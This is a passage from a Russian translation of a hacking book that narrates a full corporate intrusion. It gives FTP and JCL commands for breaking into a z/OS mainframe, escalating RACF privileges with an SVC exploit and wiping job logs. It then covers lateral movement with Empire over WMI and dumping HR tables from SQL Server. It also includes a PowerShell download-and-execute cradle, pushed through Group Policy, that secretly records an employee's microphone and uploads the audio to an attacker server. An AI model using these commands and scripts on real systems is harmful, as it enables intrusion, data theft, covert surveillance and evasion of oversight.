Наконец-то, файлы… множество файлов! Хотя они выглядят
странно! Файлы на Linux-сервере не имеют подобных имен. Это не
Linux-машина; да это же мэйнфрейм!
Перевод
@Ianuaria
skladchik.com
едва знакомы с z/OS, мы можем “атаковать” ее через Unix-раздел, с
которым мы можем работать на комфортном уровне.
open 192.168.1.200
FTPSRV
PASS01
ascii
mget SALES.*
prompt
quit
Перевод
@Ianuaria
skladchik.com
Интересно! У нас сегодняшние продажи из каждого магазина в
Германии! Этот мэйнфрейм - действительно свет в конце туннеля!
62
https://media.blackhat.com/us-13/US-13-Young-Mainframes-The-Past-Will-Come-Back-to-Haunt-You-
WP.pdf
63
https://github.com/mainframed/MainTP
64
https://www.bigendiansmalls.com/jcl-scripting-for-metasploit-framework/
Перевод
@Ianuaria
skladchik.com
стандартной и ограниченной среды оболочки. Нам нужно запачкать
наши руки и написать пару программ для мэйнфрейма!
JOB - это аналог задания. Можно смело сказать, что все, что
работает в мэйнфрейме - это либо JOB, либо это было запущено
при помощи JOB. Язык управления заданиями (Job Control
Language, JCL) - это скриптовый язык, используемый для написания
заданий JOB.
//FTPSRV1 JOB
//STEP01 EXEC PGM=IKJEFT01
//SYSTSIN DD *
LISTUSER
/*
//SYSIN DD DUMMY
//SYSTSPRT DD SYSOUT=*
65
http://archive.computerhistory.org/resources/access/text/2012/11/102658255-05-01-acc.pdf
Перевод
@Ianuaria
skladchik.com
Однако, ввиду того, что у нас нет доступа к этому консольному
логу по FTP, мы даем инструкцию JCL выводить результаты
выполнения команды в новый файл ( FTPSRV.OUTPUT), который мы
сможем скачать позже:
//FTPSRV1 JOB
//STEP01 EXEC PGM=IKJEFT01
//SYSTSIN DD *
LISTUSER
/*
//SYSIN DD DUMMY
//SYSTSPRT DD DSN=FTPSRV.OUTPUT,
// DISP=(NEW,CATLG),
// SPACE=(TRK,1)
open 192.168.1.200
FTPSRV
PASS01
quote site file=jes
Перевод
@Ianuaria
skladchik.com
put C:\Users\sysback\AppData\Local\FTPSRV.JOB
quit
open 192.168.1.200
FTPSRV
PASS01
get 'FTPSRV.OUTPUT' FTPSRV.OUTPUT.TXT
quit
66
Запомните id задания JOB – JOB04721 – потому что позже нам нужно будет удалить JOB из
лога консоли.
Перевод
@Ianuaria
skladchik.com
У Userid FTPSRV совершенно нет никаких привилегий
attributes=none) в мэйнфрейме.
(
Перевод
@Ianuaria
skladchik.com
занимает порядка 70% на рынке. Команда LISTUSER - это команда
для RACF. Факт того, что она успешно выполнилась, доказывает,
что мы в RACF-системе, поэтому с этим порешали.
SEARCH FILTER(*.SALES.**)
67
Примеры команд для RACF:
https://ruifeio.com/2012/02/25/useful-racf-commands-for-administrators/
Перевод
@Ianuaria
skladchik.com
Многие люди будут удивлены, но по состоянию на 2017 год,
есть ряд доступных вариантов по эскалации привилегий в
мэйнфрейме.
Перевод
@Ianuaria
skladchik.com
Вся тяжелая работа уже сделана за нас, так что мы лишь
будем серфить по их волнам. Для атак посредника ознакомьтесь с
SETn327068.68
инструментом от mainframed767 под названием
open 192.168.1.200
FTPSRV
PASS01
68
https://github.com/zedsec390/defcon23/tree/master/Network%20Tools/SETn3270
69
https://github.com/ayoul3/Privesc/blob/master/ELV.SVC
Перевод
@Ianuaria
skladchik.com
put C:\Users\sysback\AppData\Local\ELV.SVC
quit
//FTPSRV1 JOB
//STEP01 EXEC PGM=IKJEFT01
//SYSTSIN DD *
ex 'FTPSRV.ELV.SVC' 'LIST'
/*
//SYSIN DD DUMMY
//SYSTSPRT DD DSN=FTPSRV.OUTPUT2,
// DISP=(NEW,CATLG),
// SPACE=(TRK,1)
open 192.168.1.200
FTPSRV
PASS01
quote site file=jes
put C:\Users\sysback\AppData\Local\FTPSRV.JOB2
Перевод
@Ianuaria
skladchik.com
Кажется, в конце концов нашелся волшебный SVC - номер
226! Я не буду вдаваться в подробности ассемблерного кода,
поскольку это выходит далеко за пределы цели этой книги70, но
поверьте, нет никаких проверок безопасности, выполняемых этим
SVC.71
//FTPSRV1 JOB
//PDS DD DSN=FTPSRV.PDS(NEWMEM),DISP=(NEW,CATLG),
// SPACE=(TRK,(1,1,24)),RECFM=U
//
//STEP01 EXEC PGM=IKJEFT01
//SYSTSIN DD *
ex 'FTPSRV.ELV.SVC' 'DSN=FTPSRV.PDS SVC=226'
70
Отличный ресурс для изучения ассемблера под z/OS: http://www.billqualls.com/assembler/
71
Перед тем, как начать ворчать, мол, подобное невозможно и никоим образом не отражает
реальность, я советую вам изучить детали инцидента с мэйнфреймом в компании Logica.
(
прим. переводчика: видимо, имеется ввиду взлом мэйнфрейма от IBM в компании Logica,
который осуществил сооснователь The Pirate Bay Готтфрид Свартхолм Варг).
Перевод
@Ianuaria
skladchik.com
/*
//SYSIN DD DUMMY
//SYSTSPRT DD DSN=FTPSRV.OUTPUT3,
// DISP=(NEW,CATLG),
// SPACE=(TRK,1)
Наконец-таки,
SPECIAL! Теперь, когда у нас есть достаточные
привилегии в RACF, мы можем выполнить заветную команду для
поиска
search:
//FTPSRV1 JOB
//STEP01 EXEC PGM=IKJEFT01
//SYSTSIN DD *
SEARCH FILTER(*.SALES.**)
/*
//SYSIN DD DUMMY
//SYSTSPRT DD DSN=FTPSRV.OUTPUT5,
// DISP=(NEW,CATLG),
Перевод
@Ianuaria
skladchik.com
// SPACE=(TRK,1)
open 192.168.1.200
FTPSRV
PASS01
mget SALESMAS.SALES.ACOUNTS.*
prompt
mget SALESMAS.SALES.PRODUCTS.*
prompt
mget ARCHIVE.SALES.*
prompt
quit
//FTPSRV1 JOB,MSGLEVEL=0
//STEP01 EXEC PGM=IKJEFT01
//SYSTSIN DD *
DELETE 'FTPSRV.OUTPUT1'
DELETE 'FTPSRV.OUTPUT2'
DELETE 'FTPSRV.OUTPUT3'
DELETE 'FTPSRV.OUTPUT4'
DELETE 'FTPSRV.OUTPUT5'
Перевод
@Ianuaria
skladchik.com
DELETE 'FTPSRV.PDS'
DELETE 'FTPSRV.ELV.SVC'
OUTPUT FTPSRV1(JOB04721) delete
OUTPUT FTPSRV1(JOB04722) delete
OUTPUT FTPSRV1(JOB04723) delete
OUTPUT FTPSRV1(JOB04724) delete
OUTPUT FTPSRV1(JOB04725) delete
ALU FTPSRV NOSPECIAL NOOPERATIONS
/*
//SYSIN DD DUMMY
//SYSTSPRT DD SYSOUT=*
Перевод
@Ianuaria
skladchik.com
Однако, кажется, что
GBHR, домен отдела кадров, не имеет
этой учетной записи. Удачливая ошибка администратора или
реальная мера усиления защиты? Кто бы знал… в любом случае,
мы применим другой подход к этому домену: будем охотиться за
системными администраторами.
Перевод
@Ianuaria
skladchik.com
Принцип довольно простой: мы непрерывно производим
перекрестную проверку между этим списком и текущими активными
пользователями на разных серверах GBSALES и GBSHOP - а это
более 400 машин.
Перевод
@Ianuaria
skladchik.com
Кажется, есть интересная активность на сервере SL0213,
принадлежащем домену GBSALES. Мы движемся на этот сервер,
порождая удаленный агент
Empire при помощи WMI:
Перевод
@Ianuaria
skladchik.com
Третий домен пал:
svc_ps/Sheldon*01
Охота за данными
Перевод
@Ianuaria
skladchik.com
К нашему огромному удовольствию, администраторов учат
выбирать осмысленные имена для серверов и тексты с описанием.
Им и приходится это делать, иначе управлять информационной
системой будет дьявольски трудно. Это облегчает нашу работу.
База данных HR, очевидно, в
SR0040.GBHR.CORP.
Перевод
@Ianuaria
skladchik.com
Отлично! Изумительная особенность SQL Server в том, что
обычно он связан с доменом Windows. Если домен падет, также
падет и база данных Microsoft SQL Server. У нас есть учетная
запись администратора домена, так что теоретически - все в нашей
досягаемости.
73
https://blog.jourdant.me/post/simple-sql-in-powershell
Перевод
@Ianuaria
skladchik.com
● Поскольку мы в действительности не знаем о формате базы
данных, мы выбрали для доступа дефолтный вариант:
master.
Мы могли бы также попробовать с tempdb или многими
другими.
● Мы имеем дело с SQL Server 2008.
● Нам не нужно было предоставлять учетные данные попросту
потому, что Windows автоматически направил идентификатор
svc_ps. Судя по всему, быть администратором домена было
достаточно для получения доступа к базе данных.
"SELECT is_srvrolemember('sysadmin')"
74
В блоге Pentest Monkey есть коллекция SQL-запросов, полезных для пентестинга:
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
Перевод
@Ianuaria
skladchik.com
HR_master представляется наиболее разумным выбором…
вместо вывода ее таблиц - их может легко оказаться несколько
тысяч - и ручной обработки каждой из них, мы будем просто искать
таблицы, содержащие ключевые слова: designers (дизайнеры),
employees (сотрудники), wage (заработная плата) и так далее,
чтобы пробиться через этот стог75:
75
% - это метасимвол в большинстве SQL-систем.
Перевод
@Ianuaria
skladchik.com
Джекпот! Теперь мы можем насладиться просмотром этих
таблиц в поисках нужных нам данных: дизайнеры, зарплаты, оценка
работы персонала и так далее.76
76
Перед снятием дампа целой таблицы, будет правильно сначала получить имена
релевантных и интересных столбцов для дампа.
Перевод
@Ianuaria
skladchik.com
Мы можем отследить все устройства Элис (Elise), пройдя по
логам соединений, хранящимся на контроллере домена:
Перевод
@Ianuaria
skladchik.com
Давайте получим данные по каждой из этих машин, используя
get_computer:
модуль
Перевод
@Ianuaria
skladchik.com
вообще возможно? Разумеется, да. У этого способа даже есть
название: Объекты групповой политики (GPO)!
while($true)
{
$i++;
$browser = New-Object System.Net.WebClient
$browser.Proxy.Credentials =
[System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX($browser.DownloadString("https://raw.githubusercontent.com/Power
ShellMafia/PowerSploit/MicrophoneAudio.ps1"));
77
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Exfiltration/Get-MicrophoneAudi
o.ps1
Перевод
@Ianuaria
skladchik.com
Этот сниппет кода будет непрестанно записывать
10-минутные аудио-файлы размером порядка 6 Мб каждый. По
окончании записи нам необходимо скачать файл и затем снова
запустить запись.
while($true)
{
$i++;
$browser = New-Object System.Net.WebClient
$browser.Proxy.Credentials =
[System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX($browser.DownloadString("https://raw.githubusercontent.com/PowerShellMafia/
PowerSploit/MicrophoneAudio.ps1"));
Get-MicrophoneAudio -path c:\users\ejansen\appdata\local\file$i.wav -Length 600
$i = $args[0];
$browser = New-Object System.Net.WebClient;
$browser.Proxy.Credentials =
[System.Net.CredentialCache]::DefaultNetworkCredentials;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback =
{$true};
$browser.uploadFile("https://<frontgun_ip/", "
c:\users\ejansen\appdata\local\file$i.wav");}
Перевод
@Ianuaria
skladchik.com
Этот скрипт использует OpenSSL для шифрования
передаваемых файлов, поэтому нам сначала нужно сгенерировать
самоподписанный SSL-сертификат (а еще лучше, бесплатный
доверенный сертификат от Let's Encrypt, если вы не против
зарегистрировать DNS-имя79 для сервера Front Gun):
Перевод
@Ianuaria
skladchik.com
Пейлоад готов, давайте сконцентрируемся на процессе
создания GPO. Во-первых, мы активируем и импортируем модули
Групповых Политик в PowerShell. Мы включаем команды в
PS-функцию, чтобы легко вызывать их через агент позже:
function initialize-gpo(){
Add-WindowsFeature GPMC
import-module group-policy
write-output "Initialization Done!"
}
Function create-gpo() {
Перевод
@Ianuaria
skladchik.com
Далее инструктируем GPO, который мы создали, на установку
ключа в раздел реестра “ Run” в следующий раз, когда планшет Элис
будет запрашивать новые параметры GPO (каждые 20 минут). Ключ
в разделе реестра “Run” автоматически запустит исполняемый файл
или команду во время входа в систему. Мы передаем ему
PS-пейлоад, который приготовили ранее:
Перевод
@Ianuaria
skladchik.com
Извлечение данных
Перевод
@Ianuaria
skladchik.com
Далее мы кодируем ее при помощи
certutil -encode для
конвертации этого zip-документа в текстовый файл
(base64-кодирование):
Перевод
@Ianuaria
skladchik.com
Более того, учитывая их программу уровней бесплатного
пользования, нам даже не нужно предоставлять данные кредитной
карты для аренды сервера на ограниченное количество времени.
Перевод
@Ianuaria
skladchik.com
Вот так это делается, ребята! Пусть навороченные системы
предотвращения утечек информации (DLP) никогда больше не
будут производить на вас впечатления. Они представляет собой
лишь очередной маркетинговый инструмент для заработка денег.
https://hacklikeapornstar.com
81
Разумеется, в рамках закона ;-)
Перевод
@Ianuaria
skladchik.com